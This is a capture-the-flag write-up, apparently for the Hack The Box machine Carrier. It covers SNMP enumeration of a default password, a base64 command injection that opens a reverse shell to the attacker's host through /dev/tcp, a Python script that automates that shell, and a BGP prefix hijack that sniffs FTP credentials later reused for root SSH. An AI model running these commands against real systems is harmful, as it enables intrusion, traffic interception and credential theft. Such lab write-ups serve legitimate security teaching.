Carrier

16/03/2019

Carrier is, at first, quite easy. You have to interact with some udp service and, to get the initial shell, make a command injection attack. Get the root flag is more challenging, at least for me, because it requires some network knowledge I didn't have. You need to understand and play with BGP to execute a MitM attack.


User

First run a nmap listing versions and running default scripts. We can only see ssh on port 22, an apache running on port 80, and port 21 seems to be filtered.

root@kali:~/htb/carrier# nmap -sC -sV 10.10.10.105
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-22 14:41 EST
Nmap scan report for 10.10.10.105
Host is up (0.052s latency).
Not shown: 997 closed ports
PORT   STATE    SERVICE    VERSION
21/tcp filtered ftp
22/tcp open     tcpwrapped
| ssh-hostkey: 
|   256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_  256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open     http       Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.39 seconds

If we also run an udp scan, port 161 appears to be also opened, probably with a snmp service running.

root@kali:~/htb/carrier# nmap -sU -T5 10.10.10.105
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-22 15:11 EST
Warning: 10.10.10.105 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.105
Host is up (0.045s latency).
Not shown: 927 open|filtered ports, 72 closed ports
PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 79.65 seconds

We're going to run dirb to scan web content on the apache server.

root@kali:~/htb/carrier# dirb http://10.10.10.105/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Jan 22 14:45:22 2019
URL_BASE: http://10.10.10.105/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.105/ ----
==> DIRECTORY: http://10.10.10.105/css/
==> DIRECTORY: http://10.10.10.105/debug/
==> DIRECTORY: http://10.10.10.105/doc/
==> DIRECTORY: http://10.10.10.105/fonts/
==> DIRECTORY: http://10.10.10.105/img/
+ http://10.10.10.105/index.php (CODE:200|SIZE:1509)
==> DIRECTORY: http://10.10.10.105/js/
+ http://10.10.10.105/server-status (CODE:403|SIZE:300)
==> DIRECTORY: http://10.10.10.105/tools/

---- Entering directory: http://10.10.10.105/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.10.105/debug/ ----
+ http://10.10.10.105/debug/index.php (CODE:200|SIZE:83057)

---- Entering directory: http://10.10.10.105/doc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.10.105/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.10.105/img/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.10.105/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.10.105/tools/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Tue Jan 22 14:52:45 2019
DOWNLOADED: 9224 - FOUND: 3                                              

Reviewing all directories we have the following interesting files.

In index.php we have a login to some Lyghtspeed platform.

In doc/diagram_for_tac.png, we have an schema of some sort of network. This will help us later.

And in doc/error_codes.pdf, we have documentarion about Lyghtspeed.

On the login page we saw Error 45007 and Error 45009 were present, which means this according to the documentation.

Error 45007 - License invalid or expired
Error 45009 - System credentials have not been set / Default admin user password is set (see chassis serial number)

Okay, so now we know the password to login as administrator to the platform is the serial number.

Having that in mind, let's dig into snmp service running snmpwalk on the default community public.

root@kali:~/htb/carrier# snmpwalk -v1 -c public 10.10.10.105
Created directory: /var/lib/snmp/mib_indexes
iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
End of MIB

Yep, that's the serial number. So now we can login with admin/NET_45JDX23 and access the platform.

As explained on the dashboard we have available a ticket tab where we can read some past tickets and a diagnostics tab. Let's check the last one.

If we use burp, we can see that when pressing the Verify status button, the following POST request is made.

POST /diag.php HTTP/1.1
Host: 10.10.10.105
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.105/diag.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Cookie: PHPSESSID=nb9qv1739bouf400a0prqku2t2
Connection: close
Upgrade-Insecure-Requests: 1

check=cXVhZ2dh

In the request's data there's a base64 encoded message which translates into quagga and we get the following response back.

That looks like some sort of command output, so we are going to try to inject another command replacing quagga for quagga;id.
Send the same request changing the base64 code and we get the following response.

The command injection worked, so instead of running id we are going to try to retrieve a reverse shell using quagga; bash -i >& /dev/tcp/10.10.16.33/6969 0>&1. Run the POST request and, if listening on the specified port, we get a shell.

root@kali:~/htb/carrier# nc -nlvp 6969
listening on [any] 6969 ...
connect to [10.10.16.33] from (UNKNOWN) [10.10.10.105] 42880
bash: cannot set terminal process group (9682): Inappropriate ioctl for device
bash: no job control in this shell
root@r1:~# 

We got a shell as root, but seems that we can only see user.txt at first sight.

root@r1:~# cat user.txt
cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Privilege escalation

First of all, I made a simple python script to automatize the steps to retrieve the shell, therefore if I need a shell I just have to listen on the specified port and run the script.

import requests
import netifaces
import base64

url = 'http://10.10.10.105/'
my_ip = netifaces.ifaddresses('tun0')[netifaces.AF_INET][0]['addr']
payload = 'quagga; bash -i >& /dev/tcp/' + my_ip + '/6969 0>&1'
b64_payload = base64.b64encode(payload)

s = requests.session()
s.post(url, data='username=admin&password=NET_45JDX23', headers={'Content-Type':'application/x-www-form-urlencoded'})
s.post(url+'/diag.php', data='check='+b64_payload, headers={'Content-Type':'application/x-www-form-urlencoded'})

Checking ifconfig we see that we are not even on 10.10.10.105, so we will maybe need to do some pivoting.

root@r1:~# ifconfig	
ifconfig 
eth0      Link encap:Ethernet  HWaddr 00:16:3e:d9:04:ea  
          inet addr:10.99.64.2  Bcast:10.99.64.255  Mask:255.255.255.0
          inet6 addr: fe80::216:3eff:fed9:4ea/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:286 errors:0 dropped:0 overruns:0 frame:0
          TX packets:236 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:40265 (40.2 KB)  TX bytes:43070 (43.0 KB)

eth1      Link encap:Ethernet  HWaddr 00:16:3e:8a:f2:4f  
          inet addr:10.78.10.1  Bcast:10.78.10.255  Mask:255.255.255.0
          inet6 addr: fe80::216:3eff:fe8a:f24f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:45 errors:0 dropped:0 overruns:0 frame:0
          TX packets:26 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:3540 (3.5 KB)  TX bytes:2125 (2.1 KB)

eth2      Link encap:Ethernet  HWaddr 00:16:3e:20:98:df  
          inet addr:10.78.11.1  Bcast:10.78.11.255  Mask:255.255.255.0
          inet6 addr: fe80::216:3eff:fe20:98df/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:44 errors:0 dropped:0 overruns:0 frame:0
          TX packets:23 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:3502 (3.5 KB)  TX bytes:1955 (1.9 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:208 errors:0 dropped:0 overruns:0 frame:0
          TX packets:208 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:16868 (16.8 KB)  TX bytes:16868 (16.8 KB)

Going back to the tickets view, on the Lyghtspeed site, we have one ticket with the following description.

According to the ticket, we have an important FTP server in the 10.120.15.0/24 network, so we will make a simple ping sweep to see which hosts reply.

root@r1:~# for i in {0..255}; do ping -c 1 -W 1 10.120.15.$i >/dev/null && echo "10.120.15.$i is up"; done                       
10.120.15.1 is up
10.120.15.10 is up

Run a nc scan on both hosts and we can confirm that 10.120.15.10 is running something on port 21, probably an FTP server. So this looks like our target.

root@r1:~# nc -zv 10.120.15.10 1-65535 2>&1 | grep succeeded
nc -zv 10.120.15.10 1-65535 2>&1 | grep succeeded
Connection to 10.120.15.10 21 port [tcp/ftp] succeeded!
Connection to 10.120.15.10 22 port [tcp/ssh] succeeded!
Connection to 10.120.15.10 179 port [tcp/bgp] succeeded!
Connection to 10.120.15.10 38346 port [tcp/*] succeeded!
Connection to 10.120.15.10 46648 port [tcp/*] succeeded!
Connection to 10.120.15.10 54082 port [tcp/*] succeeded!
Connection to 10.120.15.10 60148 port [tcp/*] succeeded!

On the other hand, in opt folder we have the following bash script.

root@r1:~# cat /opt/restore.sh
cat /opt/restore.sh
#!/bin/sh
systemctl stop quagga
killall vtysh
cp /etc/quagga/zebra.conf.orig /etc/quagga/zebra.conf
cp /etc/quagga/bgpd.conf.orig /etc/quagga/bgpd.conf
systemctl start quagga

Looks like the machine is working with BGP (Border Gateway Protocol) with quagga, so it seems we will have to do some BGP hijacking, an ancient attack which is a very common even today.

Connect to the vty shell to check the current configuration.

root@r1:~# vtysh
vtysh

Hello, this is Quagga (version 0.99.24.1).
Copyright 1996-2005 Kunihiro Ishiguro, et al.

r1# show ip bgp
show ip bgp
BGP table version is 0, local router ID is 10.255.255.1
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
              i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*> 10.78.10.0/24    0.0.0.0                  0         32768 ?
*> 10.78.11.0/24    0.0.0.0                  0         32768 ?
*> 10.99.64.0/24    0.0.0.0                  0         32768 ?
*  10.100.10.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.11.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.12.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.13.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.14.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.15.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.16.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.17.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.18.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.19.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.20.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*> 10.101.8.0/21    0.0.0.0                  0         32768 i
*> 10.101.16.0/21   0.0.0.0                  0         32768 i
*  10.120.10.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.11.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.12.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.13.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.14.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.15.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.16.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.17.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.18.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.19.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.20.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i

Total number of prefixes 27

Connections to 10.120.15.10 are being transmitted through 10.78.11.2, because it is announcing 10.120.15.0/24 network. Therefore, to intercept the traffic we will announce a more specific network 10.120.15.0/25 and our machine will be used as a gateway instead.

r1# conf t
conf t
r1(config)# ip route 10.120.15.0/25 10.78.11.2     
ip route 10.120.15.0/25 10.78.11.2
r1(config)# router bgp 100
router bgp 100
r1(config-router)# network 10.120.15.0/25
network 10.120.15.0/25
r1(config-router)# end
end

If we check BGP routes we can confirm our 10.120.15.0/25 network has been included, we can assume our neighbors will receive the information and our machine will then be used as a gateway.

r1# show ip bgp
show ip bgp
BGP table version is 0, local router ID is 10.255.255.1
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
              i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*> 10.78.10.0/24    0.0.0.0                  0         32768 ?
*> 10.99.64.0/24    0.0.0.0                  0         32768 ?
*  10.100.10.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.11.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.12.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.13.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.14.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.15.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.16.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.17.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.18.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.19.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*  10.100.20.0/24   10.78.11.2                             0 300 200 i
*>                  10.78.10.2               0             0 200 i
*> 10.101.8.0/21    0.0.0.0                  0         32768 i
*> 10.101.16.0/21   0.0.0.0                  0         32768 i
*  10.120.10.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.11.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.12.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.13.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.14.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*> 10.120.15.0/24   0.0.0.0                  0         32768 ?
*                   10.78.10.2                             0 200 300 i
*                   10.78.11.2               0             0 300 i
*> 10.120.15.0/25   0.0.0.0                  0         32768 i
*  10.120.16.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.17.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.18.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.19.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i
*  10.120.20.0/24   10.78.10.2                             0 200 300 i
*>                  10.78.11.2               0             0 300 i

Total number of prefixes 27

Now run tcpdump to inspect traffic going to the FTP server.

root@r1:~# tcpdump -i any -w caca.pcap -n dst host 10.120.15.10

We can see some credentials that are being sent and we can use (root/BGPtelc0rout1ng).

root@r1:~# tcpdump -r caca.pcap
reading from file caca.pcap, link-type LINUX_SLL (Linux cooked)
...
19:54:01.814065 IP 10.78.10.2.36458 > 10.120.15.10.ftp: Flags [P.], seq 0:11, ack 15, win 229, options [nop,nop,TS val 3398437025 ecr 1779939196], length 11: FTP: USER root
19:54:01.814179 IP 10.78.10.2.36458 > 10.120.15.10.ftp: Flags [P.], seq 11:33, ack 24, win 229, options [nop,nop,TS val 3398437025 ecr 1779939196], length 22: FTP: PASS BGPtelc0rout1ng
19:54:01.814353 IP 10.78.10.2.36458 > 10.120.15.10.ftp: Flags [P.], seq 33:39, ack 40, win 229, options [nop,nop,TS val 3398437025 ecr 1779939196], length 6: FTP: PASV
19:54:01.814562 IP 10.78.10.2.48918 > 10.120.15.10.46237: Flags [S], seq 2646326224, win 29200, options [mss 1460,sackOK,TS val 3398437025 ecr 0,nop,wscale 7], length 0
19:54:01.814581 IP 10.78.10.2.48918 > 10.120.15.10.46237: Flags [.], ack 2305627788, win 229, options [nop,nop,TS val 3398437025 ecr 1779939196], length 0
19:54:01.814602 IP 10.78.10.2.36458 > 10.120.15.10.ftp: Flags [P.], seq 39:60, ack 91, win 229, options [nop,nop,TS val 3398437025 ecr 1779939196], length 21: FTP: STOR secretdata.txt
19:54:01.814812 IP 10.78.10.2.36458 > 10.120.15.10.ftp: Flags [P.], seq 60:66, ack 103, win 229, options [nop,nop,TS val 3398437026 ecr 1779939196], length 6: FTP: QUIT
...

I couldn't use those credentials to access to the FTP server, but worked to login with ssh into the machine, which is even better.

root@kali:~/htb/carrier# ssh root@10.10.10.105
root@10.10.10.105's password: BGPtelc0rout1ng
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-24-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jan 24 20:32:12 UTC 2019

  System load:  0.13               Users logged in:       0
  Usage of /:   40.8% of 19.56GB   IP address for ens33:  10.10.10.105
  Memory usage: 37%                IP address for lxdbr0: 10.99.64.1
  Swap usage:   0%                 IP address for lxdbr1: 10.120.15.10
  Processes:    282

 * Meltdown, Spectre and Ubuntu: What are the attack vectors,
   how the fixes work, and everything else you need to know
   - https://ubu.one/u2Know

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

4 packages can be updated.
0 updates are security updates.


Last login: Wed Sep  5 14:32:15 2018
root@carrier:~#

On root's directory there's the final flag.

root@carrier:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX